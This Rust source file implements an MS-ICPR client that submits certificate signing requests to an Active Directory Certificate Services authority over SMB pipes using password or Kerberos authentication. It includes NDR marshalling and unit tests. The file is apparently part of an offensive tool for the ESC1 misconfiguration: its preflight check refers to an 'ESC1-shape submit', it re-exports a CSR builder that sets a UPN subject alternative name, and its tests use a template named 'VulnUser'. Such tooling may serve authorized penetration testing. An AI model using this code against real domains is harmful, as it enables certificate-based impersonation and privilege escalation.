use crate::error::{Error, Result};
use ms_crtd::CertTemplate;
use ms_ndr::{NdrDecoder, NdrEncoder, NdrError};
pub const CERT_SERVER_REQUEST_OPNUM: u16 = 0;
pub trait IcprTransport {
fn cert_server_request(&mut self, marshaled_in: &[u8]) -> Result<Vec<u8>>;
}
pub struct StubTransport;
impl IcprTransport for StubTransport {
fn cert_server_request(&mut self, _marshaled_in: &[u8]) -> Result<Vec<u8>> {
Err(Error::LiveDcOnly)
}
}
#[derive(Debug, Clone)]
pub struct IssuedCert {
pub pem: Vec<u8>,
pub request_id: u32,
pub disposition: u32,
pub message: String,
}
pub struct IcprClient<T: IcprTransport> {
transport: T,
ca_name: String,
}
impl<T: IcprTransport> IcprClient<T> {
pub fn new(transport: T, ca_name: impl Into<String>) -> Self {
Self {
transport,
ca_name: ca_name.into(),
}
}
pub fn ca_name(&self) -> &str {
&self.ca_name
}
pub fn marshal_call(&self, template: &CertTemplate, csr_der: &[u8]) -> Result<Vec<u8>> {
preflight(template, csr_der)?;
Ok(encode_cert_server_request(
&self.ca_name,
&template.name,
csr_der,
))
}
pub fn submit_request(
&mut self,
template: &CertTemplate,
csr_der: &[u8],
) -> Result<IssuedCert> {
let stub = self.marshal_call(template, csr_der)?;
let resp = self.transport.cert_server_request(&stub)?;
let cs = decode_cert_server_response(&resp)?;
if cs.disposition != 3 {
return Err(Error::Rpc(format!(
"CA disposition {} — {}",
cs.disposition, cs.message
)));
}
if cs.cert_der.is_empty() {
return Err(Error::Rpc(
"CA disposition ISSUED but pctbEncodedCert is empty".into(),
));
}
Ok(IssuedCert {
pem: der_to_pem_certificate(&cs.cert_der),
request_id: cs.request_id,
disposition: cs.disposition,
message: cs.message,
})
}
}
impl IcprClient<StubTransport> {
pub fn stub(ca_name: impl Into<String>) -> Self {
IcprClient::new(StubTransport, ca_name)
}
}
fn preflight(template: &CertTemplate, csr_der: &[u8]) -> Result<()> {
if csr_der.is_empty() || csr_der[0] != 0x30 {
return Err(Error::Invalid("csr_der is not an ASN.1 SEQUENCE".into()));
}
if template.schema_version < 1 {
return Err(Error::Invalid(format!(
"template `{}` has bad schema version {}",
template.name, template.schema_version
)));
}
if template.min_ra_signatures > 0 {
return Err(Error::Invalid(format!(
"template `{}` requires {} RA signature(s) — ESC1-shape submit will be rejected",
template.name, template.min_ra_signatures
)));
}
Ok(())
}
fn utf16z(s: &str) -> Vec<u8> {
let mut v: Vec<u8> = s.encode_utf16().flat_map(|u| u.to_le_bytes()).collect();
v.extend_from_slice(&[0, 0]);
v
}
pub fn encode_cert_server_request(authority: &str, template: &str, csr_der: &[u8]) -> Vec<u8> {
let attribs = utf16z(&format!("CertificateTemplate:{template}"));
let mut e = NdrEncoder::new();
e.u32(0); e.referent(); e.conformant_varying_wstr(authority); e.align(4);
e.u32(0); e.u32(attribs.len() as u32);
e.referent();
e.u32(attribs.len() as u32); e.bytes(&attribs);
e.align(4);
e.u32(csr_der.len() as u32);
e.referent();
e.u32(csr_der.len() as u32);
e.bytes(csr_der);
e.align(4);
e.into_bytes()
}
#[derive(Debug, Clone)]
pub struct CertServerResponse {
pub request_id: u32,
pub disposition: u32,
pub cert_chain: Vec<u8>,
pub cert_der: Vec<u8>,
pub message: String,
}
pub fn decode_cert_server_response(stub: &[u8]) -> Result<CertServerResponse> {
let mut d = NdrDecoder::new(stub);
let request_id = d.u32().map_err(ndr_err)?;
let disposition = d.u32().map_err(ndr_err)?;
let cert_chain = read_blob(&mut d)?;
let cert_der = read_blob(&mut d)?;
let msg_raw = read_blob(&mut d)?;
let message = String::from_utf16_lossy(
&msg_raw
.chunks_exact(2)
.map(|c| u16::from_le_bytes([c[0], c[1]]))
.collect::<Vec<_>>(),
)
.trim_end_matches('\0')
.to_string();
Ok(CertServerResponse {
request_id,
disposition,
cert_chain,
cert_der,
message,
})
}
fn read_blob(d: &mut NdrDecoder) -> Result<Vec<u8>> {
let cb = d.u32().map_err(ndr_err)? as usize;
let ptr = d.u32().map_err(ndr_err)?;
if ptr == 0 || cb == 0 {
return Ok(Vec::new());
}
let _max = d.u32().map_err(ndr_err)?;
let v = d.read_bytes(cb).map_err(ndr_err)?.to_vec();
d.align(4);
Ok(v)
}
fn ndr_err(e: NdrError) -> Error {
Error::Rpc(format!("ndr: {e}"))
}
fn der_to_pem_certificate(der: &[u8]) -> Vec<u8> {
const ALPHABET: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
let mut b64 = Vec::with_capacity(der.len().div_ceil(3) * 4);
for chunk in der.chunks(3) {
let (b0, b1, b2, pad) = match chunk.len() {
3 => (chunk[0], chunk[1], chunk[2], 0),
2 => (chunk[0], chunk[1], 0, 1),
1 => (chunk[0], 0, 0, 2),
_ => unreachable!(),
};
let n = ((b0 as u32) << 16) | ((b1 as u32) << 8) | (b2 as u32);
b64.push(ALPHABET[((n >> 18) & 0x3f) as usize]);
b64.push(ALPHABET[((n >> 12) & 0x3f) as usize]);
b64.push(if pad >= 2 {
b'='
} else {
ALPHABET[((n >> 6) & 0x3f) as usize]
});
b64.push(if pad >= 1 {
b'='
} else {
ALPHABET[(n & 0x3f) as usize]
});
}
let mut pem = Vec::with_capacity(b64.len() + 64);
pem.extend_from_slice(b"-----BEGIN CERTIFICATE-----\n");
for line in b64.chunks(64) {
pem.extend_from_slice(line);
pem.push(b'\n');
}
pem.extend_from_slice(b"-----END CERTIFICATE-----\n");
pem
}
#[cfg(feature = "network")]
pub use network::{KerberosTransport, NetworkTransport};
#[cfg(feature = "network")]
mod network {
use super::*;
use crate::kerberos::{encode_kerberos_bind_pdu, KrbTicket, ICPR_SYNTAX_UUID};
use dcerpc::transport::SmbPipe;
use dcerpc::Syntax;
fn icpr_syntax() -> Syntax {
Syntax::new("91ae6020-9e3c-11cf-8d7c-00aa00c091be", 0, 0)
}
pub struct NetworkTransport {
client: smb2_client::SmbClient,
host: String,
domain: String,
user: String,
password: String,
runtime: tokio::runtime::Runtime,
}
impl NetworkTransport {
pub fn connect(host: &str, domain: &str, user: &str, password: &str) -> Result<Self> {
let runtime = tokio::runtime::Builder::new_current_thread()
.enable_all()
.build()
.map_err(|e| Error::Rpc(format!("tokio runtime: {e}")))?;
let host_owned = host.to_string();
let domain_owned = domain.to_string();
let user_owned = user.to_string();
let password_owned = password.to_string();
let client = runtime.block_on(async {
let mut c = smb2_client::SmbClient::connect(&host_owned)
.await
.map_err(|e| Error::Rpc(format!("smb connect {host_owned}: {e}")))?;
c.login(&host_owned, &domain_owned, &user_owned, &password_owned)
.await
.map_err(|e| Error::Rpc(format!("smb login: {e}")))?;
c.tree_connect(&format!("\\\\{host_owned}\\IPC$"))
.await
.map_err(|e| Error::Rpc(format!("tree_connect IPC$: {e}")))?;
Ok::<_, Error>(c)
})?;
Ok(NetworkTransport {
client,
host: host.into(),
domain: domain.into(),
user: user.into(),
password: password.into(),
runtime,
})
}
}
impl IcprTransport for NetworkTransport {
fn cert_server_request(&mut self, marshaled_in: &[u8]) -> Result<Vec<u8>> {
let Self {
client,
host,
domain,
user,
password,
runtime,
} = self;
let stub = marshaled_in.to_vec();
runtime.block_on(async move {
let file_id = client
.open_pipe("cert")
.await
.map_err(|e| Error::Rpc(format!("open pipe \\cert: {e}")))?;
let mut pipe = SmbPipe::new(client, file_id);
pipe.bind_sealed(icpr_syntax(), domain, user, password, host)
.await
.map_err(|e| Error::Rpc(format!("bind_sealed icpr: {e}")))?;
let resp = pipe
.call_sealed(CERT_SERVER_REQUEST_OPNUM, &stub)
.await
.map_err(|e| Error::Rpc(format!("call_sealed CertServerRequest: {e}")))?;
Ok::<_, Error>(resp)
})
}
}
impl super::IcprClient<NetworkTransport> {
pub fn connect(
host: &str,
domain: &str,
user: &str,
password: &str,
ca_name: impl Into<String>,
) -> Result<Self> {
let transport = NetworkTransport::connect(host, domain, user, password)?;
Ok(super::IcprClient::new(transport, ca_name))
}
}
pub struct KerberosTransport {
client: smb2_client::SmbClient,
ticket: KrbTicket,
runtime: tokio::runtime::Runtime,
}
impl KerberosTransport {
pub fn connect(host: &str, ticket: KrbTicket) -> Result<Self> {
let runtime = tokio::runtime::Builder::new_current_thread()
.enable_all()
.build()
.map_err(|e| Error::Rpc(format!("tokio runtime: {e}")))?;
let host_owned = host.to_string();
let ap_req = ticket.ap_req.clone();
let session_key = ticket.session_key;
let client = runtime.block_on(async {
let mut c = smb2_client::SmbClient::connect(&host_owned)
.await
.map_err(|e| Error::Rpc(format!("smb connect {host_owned}: {e}")))?;
c.login_kerberos(&ap_req, &session_key)
.await
.map_err(|e| Error::Rpc(format!("smb login_kerberos: {e}")))?;
c.tree_connect(&format!("\\\\{host_owned}\\IPC$"))
.await
.map_err(|e| Error::Rpc(format!("tree_connect IPC$: {e}")))?;
Ok::<_, Error>(c)
})?;
Ok(KerberosTransport {
client,
ticket,
runtime,
})
}
pub fn bind_pdu(&self, call_id: u32) -> Vec<u8> {
encode_kerberos_bind_pdu(call_id, ICPR_SYNTAX_UUID, 0, 0, &self.ticket.ap_req)
}
}
impl IcprTransport for KerberosTransport {
fn cert_server_request(&mut self, _marshaled_in: &[u8]) -> Result<Vec<u8>> {
let Self {
client,
ticket,
runtime,
} = self;
let ap_req = ticket.ap_req.clone();
runtime.block_on(async move {
let file_id = client
.open_pipe("cert")
.await
.map_err(|e| Error::Rpc(format!("open pipe \\cert: {e}")))?;
let bind = encode_kerberos_bind_pdu(1, ICPR_SYNTAX_UUID, 0, 0, &ap_req);
let ack = client
.transact(&file_id, &bind)
.await
.map_err(|e| Error::Rpc(format!("smb transact kerberos bind: {e}")))?;
if ack.len() < 16 || ack[0] != 5 {
return Err(Error::Rpc(format!("bad BIND reply ({} bytes)", ack.len())));
}
match ack[2] {
12 => Ok::<(), Error>(()),
13 => {
return Err(Error::Rpc(
"CA rejected Kerberos BIND (BIND_NAK) — check SPN, \
enc-type, and clock skew"
.into(),
));
}
other => {
return Err(Error::Rpc(format!(
"unexpected reply ptype 0x{other:02x} to Kerberos BIND"
)));
}
}?;
Err(Error::LiveDcOnly)
})
}
}
impl super::IcprClient<KerberosTransport> {
pub fn connect_kerberos(
host: &str,
ticket: KrbTicket,
ca_name: impl Into<String>,
) -> Result<Self> {
let transport = KerberosTransport::connect(host, ticket)?;
Ok(super::IcprClient::new(transport, ca_name))
}
}
}
pub use crate::csr::build_csr_with_upn_san;
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn utf16z_has_terminator() {
assert_eq!(utf16z("A"), vec![0x41, 0x00, 0x00, 0x00]);
}
#[test]
fn wire_encode_matches_impacket_layout() {
let s =
encode_cert_server_request("corp-CA-01", "VulnUser", &(0..20u8).collect::<Vec<u8>>());
assert_eq!(s.len(), 152, "stub length must match impacket");
assert_eq!(u32::from_le_bytes(s[0..4].try_into().unwrap()), 0); assert_ne!(u32::from_le_bytes(s[4..8].try_into().unwrap()), 0); assert_eq!(u32::from_le_bytes(s[8..12].try_into().unwrap()), 11); assert_eq!(u32::from_le_bytes(s[48..52].try_into().unwrap()), 58);
}
#[test]
fn decode_roundtrips_a_synthetic_response() {
let mut e = NdrEncoder::new();
e.u32(42); e.u32(3); e.u32(0);
e.u32(0);
e.u32(5);
e.referent();
e.u32(5);
e.bytes(b"hello");
e.align(4);
let msg = utf16z("OK");
e.u32(msg.len() as u32);
e.referent();
e.u32(msg.len() as u32);
e.bytes(&msg);
e.align(4);
let bytes = e.into_bytes();
let cs = decode_cert_server_response(&bytes).expect("decode");
assert_eq!(cs.request_id, 42);
assert_eq!(cs.disposition, 3);
assert!(cs.cert_chain.is_empty());
assert_eq!(cs.cert_der, b"hello");
assert_eq!(cs.message, "OK");
}
#[test]
fn der_to_pem_is_wellformed() {
let der = b"hello";
let pem = der_to_pem_certificate(der);
let s = std::str::from_utf8(&pem).unwrap();
assert!(s.starts_with("-----BEGIN CERTIFICATE-----\n"));
assert!(s.ends_with("-----END CERTIFICATE-----\n"));
assert!(s.contains("aGVsbG8=")); }
}